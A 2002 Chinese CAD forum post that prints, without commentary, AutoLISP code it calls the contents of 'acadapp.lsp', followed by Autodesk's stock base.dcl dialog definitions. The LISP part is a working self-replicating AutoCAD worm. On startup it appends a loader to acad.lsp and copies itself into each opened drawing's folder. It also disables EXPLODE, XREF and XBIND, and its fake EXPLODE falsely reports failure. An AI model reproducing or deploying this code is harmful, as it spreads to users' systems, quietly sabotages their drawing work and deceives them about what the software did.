- UID
- 16677
- 积分
- 0
- 精华
- 贡献
-
- 威望
-
- 活跃度
-
- D豆
-
- 在线时间
- 小时
- 注册时间
- 2002-11-22
- 最后登录
- 1970-1-1
|
楼主 |
发表于 2002-11-30 22:58:03
|
显示全部楼层
 - [font=courier new]
- (defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad newacad
- nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
- )
- (setq old_cmd (getvar "cmdecho"))
- (setvar "cmdecho" 0)
- (setq path (findfile "base.dcl"))
- (setq path (substr path 1 (- (strlen path) 8)))
- (setq mnlpath (getvar "menuname"))
- (setq nowdwg (getvar "dwgname"))
- (setq wjqm (findfile nowdwg))
- (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
- (setq acadpath (findfile "acad.lsp"))
- (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
- (setq ns1 ""
- ns2 ""
- )
- (setq lspbj 0)
- (setq wjqm (strcat path "acad.lsp"))
- (if (setq wjm (open wjqm "r"))
- (progn
- (while (setq wz (read-line wjm))
- (setq ns1 ns2)
- (setq ns2 wz)
- )
- (if (> (strlen ns1) 14)
- (if (= (substr ns1 8 7) "acadapp")
- (setq lspbj 1)
- )
- )
- (close wjm)
- )
- )
- (if (and
- (= acadpath dwgpath)
- (/= acadpath path)
- )
- (progn
- (setq oldacad (findfile "acad.lsp"))
- (setq newacad (strcat path "acadapp.lsp"))
- (if (= lspbj 0)
- (progn
- (setq wjqm (strcat path "acad.lsp"))
- (setq wjm (open wjqm "a"))
- (write-line (strcat "(load
- " (chr 34) "acadapp" (chr 34) ")"
- ) wjm
- )
- (write-line "(princ)" wjm)
- (close wjm)
- )
- )
- (writeapp)
- )
- (progn
- (if (/= nowdwg "Drawing.dwg")
- (progn
- (setq oldacad (findfile "acadapp.lsp"))
- (setq newacad (strcat dwgpath "acad.lsp"))
- (writeapp)
- )
- )
- )
- )
- (command "undefine" "explode")
- (command "undefine" "xref")
- (command "undefine" "xbind")
- (setvar "cmdecho" old_cmd)
- (princ)
- )
- (defun writeapp ()
- (if (setq wjm1 (open newacad "w"))
- (progn
- (setq wjm (open oldacad "r"))
- (while (setq wz (read-line wjm))
- (write-line wz wjm1)
- )
- (close wjm)
- (close wjm1)
- )
- )
- )
- (defun C:explode (/ p cont old_cmd)
- (setq old_cmd (getvar "cmdecho"))
- (setvar "cmdecho" 0)
- (setq p (ssget))
- (if p
- (progn
- (setq cont (sslength p))
- (princ "\nSeltct
- objects:"
- )
- (princ cont)
- (princ "
- found"
- )
- (princ "\n")
- (princ cont)
- (princ "
- was
- not
- able
- to
- be
- explode"
- )
- )
- )
- (setvar "cmdecho" old_cmd)
- (princ)
- )
- (defun C:xref (/ old_cmd)
- (setq old_cmd (getvar "cmdecho"))
- (setvar "cmdecho" 0)
- (command "insert")
- (setvar "cmdecho" old_cmd)
- (princ)
- )
- (defun C:xbind (/ old_cmd)
- (setq old_cmd (getvar "cmdecho"))
- (setvar "cmdecho" 0)
- (command "insert")
- (setvar "cmdecho" old_cmd)
- (princ)
- )
- (defun C:burst (/ p old_cmd)
- (setq old_cmd (getvar "cmdecho"))
- (setvar "cmdecho" 0)
- (princ "\nBURST----将图块中的文字炸开后成为实体")
- (setq p (ssget))
- (setvar "cmdecho" old_cmd)
- (princ)
- )
- (princ)
- 这是acadapp.lip里的内容
- // Next available MSG number is 15
- // MODULE_ID BASE_DCL_
- /* Next available MSG number is 24 */
- // BASE.DCL Version 1.1
- //
- // Copyright 1991, 1992, 1993, 1994, 1996 by Autodesk, Inc.
- //
- // Permission to use, copy, modify, and distribute this software
- // for any purpose and without fee is hereby granted, provided
- // that the above copyright notice appears in all copies and
- // that both that copyright notice and the limited warranty and
- // restricted rights notice below appear in all supporting
- // documentation.
- //
- // AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS.
- // AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF
- // MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC.
- // DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE
- // UNINTERRUPTED OR ERROR FREE.
- //
- // Use, duplication, or disclosure by the U.S. Government is subject to
- // restrictions set forth in FAR 52.227-19 (Commercial Computer
- // Software - Restricted Rights) and DFAR 252.227-7013(c)(1)(ii)
- // (Rights in Technical Data and Computer Software), as applicable.
- //
- //.
- //
- // Define common prototypes and subassemblies for use by
- // ACAD.DCL and user-defined dialogs (AutoCAD), and by
- // ACLT.DCL (AutoCAD LT).
- // (The primitive widgets are set up automatically by init_dialog. The
- // equivalent DCL is shown here (commented out) for reference.)
- // dialog {
- // layout = vertical;
- // is_enabled = false;
- // }
- //
- // cluster {
- // layout = horizontal;
- // }
- //
- // radio_cluster {
- // layout = horizontal;
- // is_enabled = true;
- // }
- //
- // tile {
- // layout = horizontal;
- // is_enabled = true;
- // }
- //
- // text : tile {
- // fixed_height = true; // inhibit vertical expansion
- // }
- //
- // image : tile {
- // }
- //
- // button : tile {
- // fixed_height = true;
- // is_tab_stop = true;
- // }
- //
- // image_button : button {
- // is_tab_stop = true;
- // }
- //
- // toggle : tile {
- // fixed_height = true;
- // is_tab_stop = true;
- // }
- //
- // radio_button : tile {
- // fixed_height = true;
- // is_tab_stop = true;
- // }
- //
- // list_box : tile {
- // is_tab_stop = true;
- // height = 10;
- // width = 10;
- // }
- //
- // edit_box : tile {
- // fixed_height = true;
- // is_tab_stop = true;
- // }
- //
- // popup_list : tile {
- // is_tab_stop = true;
- // fixed_height = true;
- // }
- //
- // slider : tile {
- // is_tab_stop = true;
- // }
- //
- // spacer : tile {
- // }
- //----- Styles of clusters.
- row : cluster {
- horizontal_margin = none;
- vertical_margin = none;
- children_alignment = centered;
- }
- column : cluster {
- layout = vertical;
- horizontal_margin = none;
- vertical_margin = none;
- }
- boxed_row : cluster {
- label = " ";
- boxed = true;
- children_alignment = centered;
- }
- boxed_column : cluster {
- layout = vertical;
- label = " ";
- boxed = true;
- }
- //----- Styles of radio clusters.
- radio_row : radio_cluster {
- horizontal_margin = none;
- vertical_margin = none;
- children_alignment = centered;
- }
- radio_column : radio_cluster {
- layout = vertical;
- horizontal_margin = none;
- vertical_margin = none;
- }
- boxed_radio_row : radio_cluster {
- label = " ";
- boxed = true;
- children_alignment = centered;
- }
- boxed_radio_column : radio_cluster {
- layout = vertical;
- label = " ";
- boxed = true;
- }
- //----- Horizontal and vertical blocks of running text.
- concatenation : cluster {
- fixed_width = true;
- fixed_height = true;
- children_alignment = centered;
- }
- paragraph : cluster {
- layout = vertical;
- fixed_height = true;
- }
- text_part : text {
- horizontal_margin = none;
- vertical_margin = none;
- }
- text_25 : text {
- width = 25;
- }
- //----- Common spacers.
- spacer_0 : spacer {
- height = 0;
- width = 0;
- horizontal_margin = none;
- vertical_margin = none;
- }
- spacer_1 : spacer {
- height = 1;
- width = 1;
- horizontal_margin = none;
- vertical_margin = none;
- }
- //----- The normal default widget.
- default_button : button {
- is_default = true;
- }
- //----- Standard prototype for making consistent "dialog retirement buttons".
- // Used below for the predefined retirement buttons, and for user-defined
- // dialogs that need retirement buttons with specialized verbs.
- retirement_button : button {
- fixed_width = true;
- width = 8;
- alignment = centered;
- }
- //----- Standard dialog retirement buttons. Unless one is building a dialog
- // retirement subassembly containing specialized verbs, these will
- // normally not be used directly by DCL code outside of base.dcl; use
- // the pre-built subassemblies in the next section.
- ok_button : retirement_button {
- label = " OK ";
- key = "accept";
- is_default = true;
- }
- cancel_button : retirement_button {
- label = "Cancel";
- key = "cancel";
- is_cancel = true;
- }
- help_button : retirement_button {
- label = "&Help";
- key = "help";
- is_help = true;
- }
- info_button : retirement_button {
- label = "&Info...";
- key = "info";
- }
- //----- Pre-built arrays of dialog bottom-line buttons.
- ok_only : column {
- fixed_width = true;
- alignment = centered;
- : ok_button {
- is_cancel = true;
- }
- }
- ok_cancel : column {
- : row {
- fixed_width = true;
- alignment = centered;
- ok_button;
- : spacer { width = 2; }
- cancel_button;
- }
- }
- ok_cancel_help : column {
- : row {
- fixed_width = true;
- alignment = centered;
- ok_button;
- : spacer { width = 2; }
- cancel_button;
- : spacer { width = 2; }
- help_button;
- }
- }
- ok_cancel_help_info : column {
- : row {
- fixed_width = true;
- alignment = centered;
- ok_button;
- : spacer { width = 2; }
- cancel_button;
- : spacer { width = 2; }
- help_button;
- : spacer { width = 2; }
- info_button;
- }
- }
- //----- Error reporting tiles.
- errtile : text {
- label = "";
- key = "error";
- width = 35; // must be long enough to hold error msgs
- is_error_tile = true;
- }
- // A custer consisting of OK, Cancel, and Help on one line with the error tile
- // below.
- ok_cancel_help_errtile : column {
- ok_cancel_help;
- errtile;
- }
- // The same thing without the Help button for subdialogues that have no help
- // available.
- ok_cancel_err : column {
- ok_cancel;
- errtile;
- }
- //----- Currently, the only dcl setting is the audit_level which controls the
- // level of semantic error checking applied during a load_dialog operation.
- // (0 = none, 1 = errors, 2 = warnings, 3 = hints)
- // See AutoCAD's README for details.
- default_dcl_settings : tile {
- audit_level = 1;
- }
- //----- Miscellaneous parts used by ACAD.DCL (AutoCAD) & ACLT.DCL (AutoCAD LT).
- image_block : image {
- key = "show_image";
- height = 1;
- width = 1;
- }
- icon_image : image_button {
- color = 0;
- width = 12;
- aspect_ratio = 0.66;
- allow_accept = true;
- fixed_height = true;
- fixed_width = true;
- }
- edit12_box : edit_box {
- edit_width = 12;
- edit_limit = 148; // 18 * 8 (CIF/MIF size)
- }
- edit32_box : edit_box {
- edit_width = 32;
- edit_limit = 2048; // MAX_VALUE (256 * 8 (CIF/MIF size))
- }
- // The following are for the color-selection dialogs
- swatch : image_button {
- vertical_margin = none;
- horizontal_margin = none;
- fixed_height = true;
- fixed_width = true;
- height = 1.5;
- width = 3;
- allow_accept = true;
- }
- color_palette_1_7 : row { // Standard colors 1-7
- : swatch { color = 001; key = "001"; }
- : swatch { color = 002; key = "002"; }
- : swatch { color = 003; key = "003"; }
- : swatch { color = 004; key = "004"; }
- : swatch { color = 005; key = "005"; }
- : swatch { color = 006; key = "006"; }
- : swatch { color = 007; key = "007"; }
- }
- color_palette_1_9 : row { // Standard colors, plus 8 and 9
- color_palette_1_7;
- : swatch { color = 008; key = "008"; }
- : swatch { color = 009; key = "009"; }
- }
- color_palette_0_9 : row { // Standard colors, plus 0, 8, and 9
- : swatch { color = 000; key = "000"; }
- color_palette_1_9;
- }
- color_palette_250_255 : row { // Grey shades 250-255
- : swatch { color = 250; key = "250"; }
- : swatch { color = 251; key = "251"; }
- : swatch { color = 252; key = "252"; }
- : swatch { color = 253; key = "253"; }
- : swatch { color = 254; key = "254"; }
- : swatch { color = 255; key = "255"; }
- }
- std_rq_color :column{
- :column {
- :boxed_row {
- fixed_width = true;
- label = "Standard Colors";
- color_palette_1_9;
- }
- :row {
- :boxed_row {
- fixed_width = true;
- label = "Gray Shades";
- color_palette_250_255;
- }
- :boxed_row {
- fixed_width = true;
- label = "Logical Colors";
- :button {
- label = "BY&LAYER";
- key = "256";
- }
- :button {
- label = "BY&BLOCK";
- key = "000";
- }
- }
- }
- }
- :boxed_column {
- label = "Full Color Palette";
- :image_button{
- key = "hiside";
- alignment = centered;
- width = 40;
- height = 4;
- allow_accept = true;
- is_enabled = false;
- }
- :image_button{
- alignment = centered;
- key = "loside";
- width = 40;
- height = 4;
- allow_accept = true;
- is_enabled = false;
- }
- }
- :row {
- fixed_width = true;
- alignment = centered;
- children_alignment = bottom;
- :edit12_box {
- label = "Color:";
- key = "color_edit";
- allow_accept = true;
- }
- :swatch {
- key = "color_image";
- }
- }
- ok_cancel_help_errtile;
- }
- // The preceding are for color-selection dialogs
- // Top and bottom sub-assemblies for the files dialogue
- files_topdf : column {
- : edit_box {
- key = "pedit";
- label = "&Pattern:";
- edit_width = 35;
- }
- : row {
- : text {
- label = "Directory:";
- }
- : text {
- key = "dirtext";
- width = 35;
- }
- }
- }
- files_bottomdf : column {
- : edit_box {
- key = "fedit";
- label = "&File:";
- allow_accept = true;
- }
- ok_cancel;
- errtile;
- }
- fcf_ibut : image_button {
- horizontal_margin = none;
- width = 3.5;
- height = 1.2;
- color = 0;
- alignment = bottom;
- }
- fcf_ebox : edit_box {
- horizontal_margin = none;
- edit_width = 7;
- fixed_width = true;
- alignment = bottom;
- }
- fcf_ebox1 : edit_box {
- horizontal_margin = none;
- edit_width = 3;
- edit_limit = 3;
- fixed_width = true;
- alignment = bottom;
- }
- fcf_ibut1 : image_button {
- width = 5.0;
- aspect_ratio = 0.66;
- color = 0;
- allow_accept = true;
- }
- [/font]
|
|